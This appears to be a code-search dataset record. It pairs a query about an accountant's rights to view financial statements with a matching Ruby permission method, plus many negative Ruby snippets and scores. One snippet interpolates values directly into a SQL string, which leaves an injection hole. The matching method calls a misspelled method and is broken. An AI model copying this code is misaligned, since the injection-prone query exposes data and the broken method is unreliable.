shipping_containers = { 1 => 0.46, 2 => 0.46, 3 => 0.46, 4 => 0.46 }\n # Everything not 1-4 costs 0.60\n shipping_containers.default = 0.60\n\n # lookup table for cost per shipment, based on shipment size\n\n shipment_costs = Hash.new(10.00) # default for customers with > 10 items left to ship, might be low?\n\n shipping_rates.each_key do |size|\n shipment_costs[size] = (shipping_rates[size] * 2) + shipping_containers[size] + outgoing_label +\n return_label + instructions + adhesive_tabs + postage_machine\n end\n\n # Note: this assumes all unshipped items will be bundled together\n shipments = CustomerOrder.find_by_sql(\"SELECT shipmentID, count(1) as size\n FROM orders, lineItem\n WHERE orders.customer_id = #{cust_id}\n AND orders.orderID = lineItem.orderID\n AND lineItem.live = 1\n AND orderDate >= '#{start_date.to_s}'\n AND orderDate <= '#{end_date.to_s}'\n GROUP BY shipmentID\")\n\n shipments.each { |shipment| costs += shipment_costs[shipment.size.to_i] }\n\n # We don't need to include reship rate, since reshipments have line\n # items that are included here, with $0.00 revenue attached\n\n profit = revenue - costs\n\n return revenue, profit, copies, orders, shipments.size.to_i\n\nend", "def payment_data(period_data = 'this_month')\n res = payments.completed\n range, daily_report = period_data.to_s.report_period_to_range\n data = [[period_data.to_s.report_period_to_title] + UserGroup::PAYMENT_GOALS.values]\n range.each do |d| \n r = [d.beginning_of_day, (daily_report ? d.end_of_day : d.end_of_month.end_of_day)]\n d = [d.strftime(daily_report ? '%d' : '%Y-%m')]\n UserGroup::PAYMENT_GOALS.each{|k, v| d << res.where(payment_at: r[0]..r[1], goal: k).sum(:amount).to_f }\n data << d\n end\n data\n end" ]
[ "0.6476749", "0.58315426", "0.5766122", "0.57264704", "0.5682658", "0.564321", "0.5589904", "0.5571895", "0.5559602", "0.5557696", "0.55138016", "0.5460454", "0.5450075", "0.5446995", "0.5440988", "0.54402226", "0.54148614", "0.5411447", "0.540227", "0.5397451", "0.5397199", "0.53478986", "0.5340115", "0.5330263", "0.53216094", "0.5316167", "0.53140336", "0.53075695", "0.5292645", "0.52822053", "0.527843", "0.5260697", "0.5246074", "0.5240156", "0.5227641", "0.5226563", "0.52145606", "0.52101916", "0.5208335", "0.5206272", "0.519597", "0.51943254", "0.51884073", "0.5178296", "0.517804", "0.5170362", "0.5169945", "0.5169945", "0.51606655", "0.51552075", "0.5152695", "0.5152402", "0.5151267", "0.51475304", "0.51398885", "0.5132688", "0.51274306", "0.512594", "0.51252806", "0.5121846", "0.5116882", "0.51032716", "0.5097161", "0.50961596", "0.5090369", "0.50882536", "0.5086882", "0.50862586", "0.5079445", "0.507584", "0.5071555", "0.50642484", "0.50637895", "0.50627357", "0.50604945", "0.50602835", "0.50602835", "0.5058215", "0.5057711", "0.5057711", "0.5057711", "0.5057685", "0.50528437", "0.50507516", "0.5050438", "0.50496924", "0.50485045", "0.5045926", "0.5045518", "0.5041871", "0.5035154", "0.5032797", "0.50325125", "0.5032018", "0.5031642", "0.5026586", "0.50264394", "0.50237143", "0.5022872", "0.5017644" ]
0.71730596
0
=begin Only one who may not have permissions to view financial statements is accountant. If he does not have 'can see finances', 'invoices manage' and 'manage payments' permissions to read he cannot view financial statements. In any other case everyone can view treyr user's invoices, credit notes and payments. =end
def can_view_financial_statements? if accountant? and (not current_user.accountant_allow_read('can_see_finances') or not current_user.accountant_allow_read('payments_manage') or not current_user.acoutnant_alllow_read('invoices_manage')) return false else return true end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def can_see_finances?\n accountant_allow_read('see_financial_data')\n end", "def account_not_owner_or_deputy\n errors.add( :account_id, I18n.t( 'sir_members.msg.own_account_id' )) \\\n if sir_log_id && account_id && sir_log.user_is_owner_or_deputy?( account_id )\n end", "def ensure_is_authorized_to_view\n @is_member_of_company = (@relation == :company_admin_own_site || @relation == :company_employee || @relation == :rentog_admin_own_site)\n\n # ALLOWED\n return if @relation == :rentog_admin ||\n @relation == :rentog_admin_own_site ||\n @relation == :domain_supervisor ||\n @relation == :company_admin_own_site\n\n\n # NOT ALLOWED\n # with error message\n flash[:error] = t(\"listing_events.you_have_to_be_company_member\")\n redirect_to root\n return false\n end", "def user_owns_reflection?\n unless @reflection.student.uid == current_user.uid\n flash[:notice] = 'You may only edit your own reflections.'\n redirect_to reflections_url\n end\n end", "def special_access_for_cfo_or_treasurer?(state)\n (current_user.cfo? && state == 'approval') ||\n (current_user.treasurer? && ['execution', 'executed'].include?(state)) ||\n (cfo_as_treasurer? && ['approval', 'execution', 'executed'].include?(state))\n end", "def show\n authorize @account\n # if authorize @account != true\n\n # end\n end", "def authorize_user_as_member_of_paid_account!\n railse CanCan::AccessDenied if current_user.nil? || (!current_user.has_role?(:system_administrator) && !current_user.member_of_paid_account?) \n # handle_unauthorized_access if current_user.nil? || (!current_user.has_role?(:system_administrator) && !current_user.member_of_paid_account?)\n end", "def accountant_allow_edit(permission)\n return accountant_right(permission) == 2\n end", "def deny\n self.granted = -1\n restaurant = Restaurant.find(self.restaurant_id)\n restaurant.mark_collaborative\n end", "def users_only\n deny_access(\"Necesitas crear una cuenta para entrar a esta sección\") unless signed_in?\n end", "def show\n authorize @fee_transaction\n end", "def check_if_user_access_transactions\n if current_user && current_user.admin?\n @transactions = Transaction.paginate(page: params[:page])\n elsif current_user && current_user.role == \"Partner\"\n redirect_to root_path\n flash[:danger] = I18n.t 'flash.your_company_not_verified'\n end\n end", "def owner_only\n unless current_user == @organism.owner\n flash[:alert] = \"Vous ne pouvez executer cette action car vous n'êtes pas le propriétaire de la base\"\n redirect_to admin_organisms_url\n end\n\n end", "def cannot_edit(_t)\n !session[:is_administrator] && !_t.approver_id.blank?\n end", "def user_access_control_account_all\n @account = Account.find(params[:account_id])\n user = @account.user\n\n unless !user.admin? && current_user.admin? || current_user?(user)\n response_access_denied\n end\n\n rescue\n response_access_denied\n end", "def owner_only\n unless current_user == @organism.owner\n flash[:alert] = \"Vous ne pouvez executer cette action car vous n'êtes pas le propriétaire de la base\"\n redirect_to admin_organisms_url\n end\n end", "def show\n # check that the current user has access to the account page\n if !@account.users.include?(current_user) and current_user != @account.user\n flash[:notice] = 'You do not have access to that, please sign in again'\n sign_out current_user\n redirect_to new_user_session_path\n else\n @accounts = current_user.accounts\n @transactions = @account.transactionSummary.reverse\n @auto_payment = @account.auto_bill_payments.new\n end\n end", "def visible?(user=User.current)\n (project.nil? || user.allowed_to?(:view_invoices, project))\n end", "def user_permission(paid, cancelled, signed_in, admin)\n\tif paid == \"no\" or cancelled == \"yes\"\n\treturn \"Go away!\"\n\telsif signed_in == \"yes\" and admin == \"yes\"\n\treturn \"You can see and change all the pages!\"\n\telsif signed_in == \"yes\" and admin == \"no\"\n\treturn \"You can see all the pages!\"\n\telsif signed_in == \"no\"\n\treturn \"You can't see any of the pages, please sign in!\"\n\tend\nend", "def user_consenting; end", "def user_permission(singed_in, admin, paid, cancelled)\n\tif paid == \"no\" or cancelled == \"yes\"\n\t\tputs(\"go away\")\n\telsif signed_in == \"yes\" and admin == \"yes\"\n\t\tputs(\"You can see and change all the pages!\")\t\n\telsif signed_in == \"yes\" and admin == \"no\"\n\t\tputs(\"You can see all the pages!\")\n\telsif singed_in == \"no\" and admin == \"no\"\t\n\t\tputs(\"You can't see any of the pages, please sign in!\")\nend\nend", "def not_account_owner\n not_account_owner_in_signup && !is_account_owner? \n end", "def report_accessible?\n report || is_admin\n end", "def plan_only\n unless current_user\n redirect_to \"/\", :alert => \"Access denied. You must be a member to suggest a charity. Explore with us as a member now for free.\"\n end\n end", "def user_consenting?; end", "def user_permission(signed_in, admin, paid, cancelled)\n\tif paid == \"no\" or cancelled == \"yes\"\n\t\tputs (\"Go away!\")\n\n\telsif signed_in == \"yes\" and admin == \"yes\"\n\t\tputs (\"You can see and change all the pages\")\n\n\telsif signed_in == \"yes\" and admin == \"no\"\n\t\tputs (\"You can see all the pages\")\n\n\telsif signed_in == \"no\"\n\t\tputs (\"You can't see any of the pages, please sign in\")\n\n\telse \n\t\tputs (\"Thanks, have a good night.\")\n\n\tend\nend", "def show\n render status: :forbidden, text: \"Forbidden!\" unless @transaction.user == current_user\n end", "def allowed_user\n unless current_user.id == Design.find(params[:design_id]).user.id\n flash[:notice] = 'Voce não tem permissão para fazer isso!'\n redirect_to root_url\n end\n end", "def show\n authorize @expense_report\n end", "def ensure_not_accountant\n raise \"Cannot delete user '#{name}'. The user is the accountant of the company.\" unless company.accountant_id != id\n end", "def show\n\t\tif current_usuario.asignacion_roles.where(esActual: true, id: Rol.where(nombre: \"Voluntario\"), proyecto: @reporte.actividad.proyecto) && current_usuario.asignacion_roles.where(esActual: true, proyecto: @reporte.actividad.proyecto).count == 1\n\t\t\traise CanCan::AccessDenied if !Reporte.accessible_by(current_ability, :show).include?(@reporte)\n\t\telse\n\t\t\tauthorize! :show, Reporte\n\t\tend\n\n end", "def restriction_level\n return 0 # only user itself is allowed\n end", "def require_costume_ownership\n redirect_to root_path(message: 'Only can owner or assigned dancer can access') unless current_user.costumes.include?(@costume)\n end", "def restrict_access\t\n\t\tif current_user.owner == false\n\t\t\tredirect_to user_path(current_user), notice: \"You can't view this page, contact your box owner\"\n\t\tend\t\n\tend", "def check_access_control_account_all\n @account = Account.find(params[:account_id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @account.user_id\n rescue\n response_access_denied\n end", "def finance_office?\n current_user.role && current_user.role.upcase.split(',').include?('CO') && current_user.section_id==2\n end", "def permission_required \n render_403 unless admin? || @user == current_user\n end", "def authorize_user\n debt = Debt.find_by_id(params[:id])\n\n if (not current_user.id == debt.owner.id)\n flash[:error] = \"You cannot pay the person's debt.\"\n redirect_to root_url\n end\n end", "def other_business_expenses\n return forms(\"Unreimbursed Partnership Expense\") { |f|\n f.line[:ssn] == @ho_form.line[:ssn]\n }.lines(:amount, :sum)\n end", "def authorized_to_edit_records\n scope.none\n end", "def show_private_tab\n current_user && (current_user.admin? || # if current_user is an admin\n current_user.premium? || # current_user is a premium\n current_user.wiki_collaborations.any?) # current_user has any private wiki collaborations\n end", "def correct_initiative_only\n unless current_user.admin?\n if current_user.service_user? || current_user.initiatives.exclude?(Initiative.find(params[:initiative_id]))\n flash[:danger] = 'You are not allowed to access that page.'\n redirect_to current_user\n end\n end\n end", "def set_editability\n @editable = user_signed_in? && (current_user.member.role.name.eql? \"University Admin\") &&\n current_user.member.institution.id == @course.department.institution.id\n end", "def accountant_can_read?(permission)\n session[:usertype].to_s == 'accountant' and session[\"acc_#{permission}\".to_sym].to_i == 1\n end", "def correct_initiative_only\n unless current_user.admin?\n if current_user.service_user? || current_user.initiatives.exclude?(Initiative.find(params[:id]))\n flash[:danger] = 'You are not allowed to access that page.'\n redirect_to current_user\n end\n end\n end", "def allowed_to_pay_hbrand_fee?(company)\n admin? || in_company?(company) #|| has_approved_app_for_company?(company)\n end", "def show\n\t\tif current_usuario.asignacion_roles.where(esActual: true, id: Rol.where(nombre: \"Voluntario\"), proyecto: @requisito.actividad.proyecto) && current_usuario.asignacion_roles.where(esActual: true, proyecto: @requisito.actividad.proyecto).count == 1\n\t\t\traise CanCan::AccessDenied if !Requisito.accessible_by(current_ability, :show).include?(@requisito)\n\t\telse\n\t\t\tauthorize! :show, Requisito\n\t\tend\n end", "def permission_required \n render_403 unless admin? || @item.is_editable_by?(current_user)\n end", "def line_count_authorized?\n return true if current_user.is_an_admin_or_operator?\n return false\nend", "def is_view_permitted?(given_user = nil)\r\n return false unless self.active?\r\n \r\n given_user ||= self.current_user\r\n \r\n # If item is public, no need for further permission checks\r\n return true if self.public? && self.user && self.user.public? \r\n \r\n # Base case of identity, no need to check relationships\r\n return true if given_user && ((given_user.id == self.author_id) || (given_user.id == self.foruser_id) || given_user.is_self_or_owner?(self.user))\r\n\r\n # Special case -- allow recipient and owners to see private messages\r\n if self.is_a?(Pvtmessage)\r\n return true if given_user.is_self_or_owner?(self.foruser) || given_user.is_self_or_owner?(self.user)\r\n return false\r\n end\r\n\r\n return true if given_user.admin?\r\n \r\n # Otherwise no can do if only my owner can see it (if you got to here, you aren't my owner)\r\n return false if self.restriction_level == Relationshiptype.nobody\r\n\r\n # Content of private or blocked projects cannot be seen\r\n return false if self.user && !self.user.is_view_permitted?\r\n\r\n # Fine, we'll actually run some DB queries...\r\n return Relationship.has_follower?(self.user, given_user, self.levels_can_see)\r\n end", "def read_only?\n checking_citizen_answers? || with_applicant?\n end", "def canread?(issue = nil)\n #Control Always Undesired User RoleId\n if self.isarchivied?\n return false\n end\n\n #return false\n #Control issue status\n if issue && !issue.se_protetto\n return true\n end\n\n #Control fismine user status\n if self.locked?\n return false\n end\n if self.registered?\n #USER Must be confirmed by administrator\n return false\n end\n if !self.active?\n return false\n end\n\n #PUBLIC INSTALLATION\n if !Setting.fee?\n return true #PUBLIC AREA\n end\n\n #Control Always abilitated User RoleId\n if self.ismanager? || self.isauthor? || self.isvip?\n return true\n end\n\n #Control Always Undesired User RoleId\n if self.isexpired?\n return false\n end\n\n #Control content if public\n if issue && !issue.se_visible_web?\n # --> kappao flash[:notice] = \"Articolo ancora non in linea. A breve verrà reso disponibile.\"\n return false\n end\n\n #control fee state\n self.control_state\n\n if self.isabbonato?\n return true\n end\n if self.isrenewing?\n return true\n end\n if self.isregistered?\n ##durante il periodo di prova l'utente accede ai contenuti rossi\n #if issue && issue.section && issue.section.protetto\n # #tranne quelli che hanno una sezione protetta\n # return false\n #end\n return true\n end\n end", "def credit_unlimited?\n #if prepaid?\n # raise \"Prepaid users do not have credit\"\n credit == -1\n end", "def check_if_user_access\n if current_user && current_user.admin?\n @all_orders = Order.all\n @orders = @all_orders.paginate(page: params[:page])\n elsif current_user && current_user.role == \"Partner\"\n redirect_to root_path\n flash[:danger] = I18n.t 'flash.your_company_not_verified'\n elsif current_user && current_user.role == \"Client\"\n @all_orders = @user_company.orders\n @orders = @all_orders.paginate(page: params[:page])\n else\n end\n end", "def allow_access\n !current_cas_user.nil?\n end", "def share_cases?(account)\n if [AppConstants::PRIVILEGE[:super_user],AppConstants::PRIVILEGE[:admin],AppConstants::PRIVILEGE[:user_manager]].include?(portal_privilege) and account == company\n true\n else\n false\n end\n end", "def status_restricted?\n (prospect || exstudent || student) &&\n !(prospect && exstudent && student)\n end", "def any_logged_in(user)\n can :export_calendar, User do |user_check|\n user.id == user_check.id || can?(:act_on_behalf_of, user_check)\n end\n\n # only matters if read in any_one() is false (ie. user_check is junior)\n can :read, User do |user_check| \n user.id == user_check.id || can?(:act_on_behalf_of, user_check) || user.friends.include?(user_check) || admin_of_users_league?(user, user_check)\n end\n\n # contact details and shit\n can :read_private_details, User do |user_check|\n user.id == user_check.id || can?(:act_on_behalf_of, user_check) || admin_of_users_team?(user, user_check) || admin_of_users_league?(user, user_check)\n end\n\n # ie parent\n can :act_on_behalf_of, User do |user_check|\n user_check.junior? && user_check.parent_ids.include?(user.id)\n end\n\n # TEAM\n can :read, Team do |team|\n team.has_member?(user) || team.primary_league.has_organiser?(user) || can?(:manage_teams, team.tenant)\n end\n\n # currently only used for mobile app, prob should use on web too. TS\n can :read_private_details, Team do |team|\n team.has_member?(user) || (!team.primary_league.nil? && team.primary_league.has_organiser?(user))\n end\n\n can :export_calendar, Team do |team|\n team.has_member?(user)\n end\n\n # Not sure these should be here... Can be inferred from other info (eg. are they in the team)\n # also, they're more about whether it is feasible, rather than whether they're allowed\n # Plus, this is checking the team, and the setting belong to the user. We should just be\n # looking for the settings (if has perms to edit user), and raise invalid id not there. TS\n can :read_notification_settings, Team do |team|\n team.has_associate?(user)\n end\n can :update_notification_settings, Team do |team|\n team.has_associate?(user) \n end\n\n # EVENT\n # only matters is read in any_one gives false\n can :read, Event do |event|\n # organiser, player, player parent, or team organiser\n event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team)\n end\n\n can :read_messages, Event do |event|\n # organiser, player, player parent, or team organiser\n event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team)\n end\n\n # TODO: remove in favour of :read_private_details\n can :read_all_details, Event do |event|\n can? :read_private_details, Event\n end\n\n # TODO: remove in favour of :read_private_details\n can :view_private_details, Event do |event|\n can? :read_private_details, Event\n end\n\n can :read_private_details, Event do |event|\n # organiser, player, player parent, or team organiser\n event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team)\n end\n\n # SR: Added to mimic\n can :view_private_details, DivisionSeason do |division|\n division.league.has_organiser?(user)\n end\n\n # SR: Added to mimic\n can :read_private_details, DivisionSeason do |division|\n division.league.has_organiser?(user)\n end\n\n # DEPRECATED: this is only used for view code, not actual authorisation, so should be removed from here. TS.\n can :respond_to_invite, Event do |event|\n event.teamsheet_entries.map{|tse| tse.user_id}.include?(user.id) && event.user_id != user.id\n end\n\n can :respond, TeamsheetEntry do |tse|\n # player, event organiser (legacy), parent, or team organiser\n #tse.event.team.has_associate?(user) &&\n (user.id == tse.user_id || tse.event.user_id == user.id || can?(:act_on_behalf_of, tse.user) || can?(:manage, tse.event.team))\n end\n\n can :check_in, TeamsheetEntry do |tse|\n can? :manage_roster, tse.event.team\n end\n\n # ACTIVITY ITEMS\n can :view, ActivityItem\n\n can :create_message_via_email, Event do |event|\n # organiser, or registered player\n # TODO: generalise this set of perms (and refactor to check user has role on team)\n event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team)\n end\n\n # ACTIVITY ITEM COMMENTS AND LIKES\n can :comment_via_email, EventMessage do |message| \n # if this implementation changes then a test is required\n if message.messageable.is_a? Team \n message.messageable.has_active_member?(user)\n elsif message.messageable.is_a? Event\n can? :create_message_via_email, message.messageable\n end \n end\n\n can :comment_via_email, EventResult do |event_result|\n # if this implementation changes then a test is required\n can? :create_message_via_email, event_result.event \n end\n\n can :comment_via_email, User\n can :comment_via_email, Event \n can :comment_via_email, TeamsheetEntry \n can :comment_via_email, InviteResponse\n can :comment_via_email, InviteReminder\n end", "def checkaccount(user)\n return unless user\n\n link = user.service\n if (link == 'Both' && !user.sel_detail && !current_page?('/both_details/new') &&\n !current_page?(\"/users/edit.#{user.id}\")) ||\n (link == 'customer' && !user.cus_detail && !current_page?('/cus_details/new') &&\n !current_page?(\"/users/edit.#{user.id}\"))\n render 'layouts/checkaccount'\n end\n end", "def mayView? ( other_user )\n if ( (not other_user.valid?) or ( other_user.is_a?(User) == false ) )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"basic check failed\"\n # d other_user.type\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return false\n end\n user = getUser()\n if ( other_user == user )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"same user as owner\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return true\n end\n if ( ( self.public_policy == Dfile::PP_MAYVIEW ) or ( self.public_policy == Dfile::PP_MAYEDIT ) )\n return true\n end\n if self.special_users\n special = self.special_users[other_user.id.to_s]\n if special\n if ( ( special == Dfile::PP_MAYVIEW ) or ( special == Dfile::PP_MAYEDIT ) )\n return true\n else\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"User has special permission but not right one\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\" \n end\n else\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"User has no special permission\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\" \n end\n \n else\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"no special permissions\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\" \n end\n return false\n end", "def pundit_user\n # if action_name == \"new\"\n # current_user\n # else\n current_user || current_company\n # end\n end", "def show\n puts \"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\"\n @user=User.find(session[:user_id])\n @investment=@user.investments.first\n flag=Date.today.end_of_month\n\n if @user.type==\"manager\" && @manager.investments.where(\"total_inv<?\",3000) && flag==1\n puts \"Your Total Investments are less then the compulsory amount.\"\n \n elsif @user.type==\"lead\" && @lead.investments.where(\"total_inv<?\",1500) && flag==1\n puts \"Your investments are less then the compulsory amount\"\n\n else @user.type==\"developer\" && @developer.investments.where(\"total_inv<?\",300) && flag==1\n puts \"Your investments are less then the compulsory amount\"\n end\n\n end", "def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end", "def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end", "def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end", "def quota_view_only\n return Quotum.none if @force_empty\n if @user.present?\n if @user.tenant_ids\n Quotum.where.not(tenant_id: @user.tenant_ids).or(Quotum.where(tenant_id: nil))\n else\n Quotum.all\n end\n else\n Quotum.all\n end\n end", "def can_view_account\n if @account\n if !current_contact.share_cases?(@account)\n render :text => \"You are not authorized to view this account.\"\n return true\n end\n end\n end", "def index\n if current_user.permission.eql?(\"responsible\")\n @efacs = current_user.efacs\n elsif current_user.permission.eql?(\"admin\")\n @efacs = Efac.all\n elsif current_user.instance?\n @efacs = Efac.where(sent: true, instance_id: current_user.id)\n end\n\n end", "def show \n #if current_user.company_id == @user.company_id \n authorize @user \n end", "def have_account?\n false\n end", "def accounts_with_usage; end", "def renewal_eligiblity_determination\n end", "def index\n @fee_transactions = policy_scope(FeeTransaction)\n authorize FeeTransaction\n end", "def pundit_user\n current_account\n end", "def pundit_user\n current_account\n end", "def current_user\n current_admin || current_nonprofit\n end", "def pundit_user\n current_staff\n end", "def has_log_right? #(quote)\n #rfq = quote.rfq\n #return true if session[:user_id] == rfq.sales_id && sales?\n #return true if session[:user_id] == rfq.emc_eng_id && eng?\n #return true if session[:user_id] == rfq.safety_eng_id && eng?\n #return true if eng_dept_head? || corp_head? || ceo? \n #return true if grant_access?('create', 'test_itemx_test_plans', nil, nil) || grant_access?('update', 'test_itemx_test_plans', nil, nil)\n return true if grant_access?('create', 'test_itemx_test_plan_logs', nil, nil) || grant_access?('update', 'test_itemx_test_plan_logs', nil, nil)\n\n end", "def show\n \t@person = Person.find(params[:id])\n \t@is_admin = false\n \tactive_person = Person.find(session[:user_id])\n \troles = active_person.roles.collect {|role| role.name}\n if roles == [\"DirectCareProvider\"] && session[:user_id] != params[:id]\n flash[:notice] = \"You can only access your own profile.\"\n @person = active_person\n elsif roles.member?(\"Supervisor\") || roles.member?(\"Administrator\")\n \t@is_admin = true\n end\n end", "def resolve_admission_visible?\n if @current_right.employee? || @current_right.external?\n then full_admission?\n elsif @current_right.team_coach? || @current_right.team_master?\n then team_admission?\n elsif @current_right.manager?\n then true\n else\n false\n end\n end", "def _admin_or_self\n not_authorizaed unless current_user.admin? || current_user == @user\n end", "def local_acl\n acl = {\n \"#{self.user.email}\" => (Rails.env.production? && FireCloudClient::COMPUTE_DENYLIST.include?(self.firecloud_project)) ? 'Edit' : 'Owner'\n }\n self.study_shares.each do |share|\n acl[\"#{share.email}\"] = share.permission\n end\n acl\n end", "def patient_implicit?\n @authorized_user.patients.size == 1 \n end", "def edit\n if !(current_user.id == @user.id || is_admin?)\n indicate_illegal_request I18n.t('users.not-your-account')\n end\n end", "def user_access_control_all\n @user = User.find(params[:user_id])\n\n unless !@user.admin? && current_user.admin? || current_user?(@user)\n response_access_denied\n end\n\n rescue\n response_access_denied\n end", "def index\n @accountfinancials = Accountfinancial.where(user_id: current_user.id)\n end", "def payments?\n user_record? || payment_admin? || super_admin?\n end", "def self_edit_only\n #if current_user.id != Integer(params[:id]) && !current_user.is_admin\n if !can_edit\n redirect_to user_url, :notice => \"You don't have permission to do that.\"\n else\n end\n end", "def enforce_show_permissions(opts={})\n permissions = current_ability.permissions_doc(params[:id])\n if permissions.under_embargo? && !can?(:edit, permissions)\n raise Hydra::AccessDenied.new(\"This item is under embargo. You do not have sufficient access privileges to read this document.\", :edit, params[:id])\n end\n unless can? :read, permissions \n raise Hydra::AccessDenied.new(\"You do not have sufficient access privileges to read this document, which has been marked private.\", :read, params[:id])\n end\n end", "def show?\n @user && (can_update_seminar? || @record.holder_id == @user.id || @user.authorization.can_read?(@record.seminar.organization_id))\n end", "def privacy_check(user_check)\n can_view = nil\n\n if self.public == false\n user = User.find_by_id(self.user_id)\n if user.company_id != user_check.company_id\n can_view = false\n else\n can_view = true\n end\n else\n can_view = true\n end\n\n return can_view\n\n end", "def commissioned_expressions\n find_related_frbr_objects( :has_commissioned, :which_expressions?) \n end", "def check_ownership \t\n \taccess_denied(:redirect => @check_ownership_of) unless current_user_owns?(@check_ownership_of)\n end", "def verify_self_or_admin\n if !current_cas_user.admin? && (current_cas_user.id != @cas_user.id)\n render(file: File.join(Rails.root, 'public/403.html'), status: :forbidden, layout: false)\n end\n end", "def user_permissions\n if user_signed_in? && (current_user.is_logistics? || current_user.is_clerical? || current_user.is_vendor? || current_user.is_customer?)\n authorize! :edit, Element\n end\n end", "def user_consenting=(_arg0); end", "def deletable_by?(user)\n return false unless self.inviter == user\n !self.is_valid? || (self.is_valid? &&\n accepted_students.size == 1 &&\n self.assignment.group_assignment? &&\n !assignment.past_collection_date?(self.section))\n end", "def set_is_accessing_self\n @is_accessing_self = (\n user_account_signed_in? and (\n current_user_account.confessor and current_user_account.confessor.id == @confessor.id\n )\n )\n end", "def show\n authorize AccountingEntry\n end", "def validate_owner\r\n expense = @current_user.expenses.find(params[:id]) rescue nil\r\n !expense.blank?\r\n end" ]
[ "0.6406249", "0.6271701", "0.622199", "0.6074152", "0.6052165", "0.60480934", "0.59924597", "0.59908026", "0.5982115", "0.59774834", "0.59516144", "0.5915345", "0.58944535", "0.5889123", "0.58816105", "0.5878048", "0.5851751", "0.5850404", "0.5848907", "0.5847218", "0.5831487", "0.582442", "0.5823031", "0.5823017", "0.5813849", "0.5806393", "0.5801666", "0.57944554", "0.578151", "0.5780032", "0.5764056", "0.5763044", "0.57589203", "0.574943", "0.5746544", "0.5741006", "0.573796", "0.57133424", "0.5713256", "0.5712521", "0.5709201", "0.57071936", "0.569129", "0.5688263", "0.5685465", "0.5682286", "0.56816876", "0.5672885", "0.56655765", "0.5662207", "0.5657332", "0.56572545", "0.5655804", "0.5648281", "0.56482536", "0.5647956", "0.563931", "0.5636865", "0.56367207", "0.56359583", "0.5627323", "0.56179184", "0.5613719", "0.5613719", "0.5613719", "0.560941", "0.56071454", "0.5605658", "0.5605481", "0.56051666", "0.5592509", "0.5584897", "0.558473", "0.55845135", "0.55845135", "0.5570975", "0.5566934", "0.5564153", "0.55574036", "0.55494964", "0.5541328", "0.5538684", "0.5537534", "0.55362725", "0.55312693", "0.55309576", "0.5528971", "0.5523299", "0.5521924", "0.5514495", "0.55129707", "0.55115205", "0.5509522", "0.55070204", "0.5504779", "0.5499981", "0.54957247", "0.54897135", "0.5488102", "0.5486016" ]
0.7303169
0
Read & return the first available config.
def load_config_files [ Pathname.new(ENV['GUIGNOL_YML'] || '/var/nonexistent'), Pathname.new('guignol.yml'), Pathname.new('config/guignol.yml'), Pathname.new(ENV['HOME']).join('.guignol.yml') ].each do |pathname| next unless pathname.exist? return YAML.load(pathname.read) end return {} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def read_config(name)\n read_config_file[name]\n end", "def config\n @config ||= read_config\n end", "def read_configuration\n\t\t@config = YAML.load_file(\"config.yml\")\n\t\treturn @config\n\tend", "def read_config_entry(key)\n if $has_config.call then\n curr_config = YAML.load(File.read($config_filename))\n else\n return nil\n end\n\n curr_config[key]\nend", "def read_config_file; end", "def read_config\n begin\n config = YAML.load_file('config/config.yml')\n puts config['address']\n puts config['port']\n rescue YAML::LoadError => e\n # If config file is not found or valid, return with errors\n logger.error \"read config error: #{e}\"\n end\n\n [config['address'], config['port']]\n end", "def first_config\n @screen_data.first ? get_config(@screen_data.first) : nil\n end", "def load_config\n @configuration = Configuration.find :first\n end", "def get\n if File.exist?(@config_file)\n file = File.read(@config_file)\n @config = JSON.parse(file)\n end\n @config\n end", "def read_cfg\n config = Config.new\n File.open(\"#{$work_dir}/#{filename}\") do |file|\n while line = file.gets\n #next if /^#/\n if /^(PMASTER):\\w+:(\\S+)/ =~ line then\n config.host_list[$2] = $1\n puts \"Puppet Master: #{$2}\"\n end\n if /^(AGENT):\\w+:(\\S+)/ =~ line then\n config.host_list[$2] = $1\n puts \"Puppet Agent: #{$2}\"\n end\n end\n end\n return config\n end", "def scanConfig()\n configFile = @basePath + \".config.json\" ;\n open(configFile,\"r\"){|strm|\n @config = JSON.load(strm.read()) ;\n }\n return @config ;\n end", "def read_config!\n @config = YAML.load_file(CONFIG_FILE)\n end", "def read_config config_path = ''\n return nil if config_path.empty?\n return nil unless File.file?(config_path)\n YAML.safe_load(File.read(config_path))\n end", "def config_read\n f = File.expand_path(CONFIG_FILE)\n return unless File.readable? f\n\n hash = loadYML(f)\n @used_dirs = hash['DIRS']\n @visited_files = hash['FILES']\n @bookmarks = hash['BOOKMARKS']\n @used_dirs.concat get_env_paths\nend", "def read_config_file\n 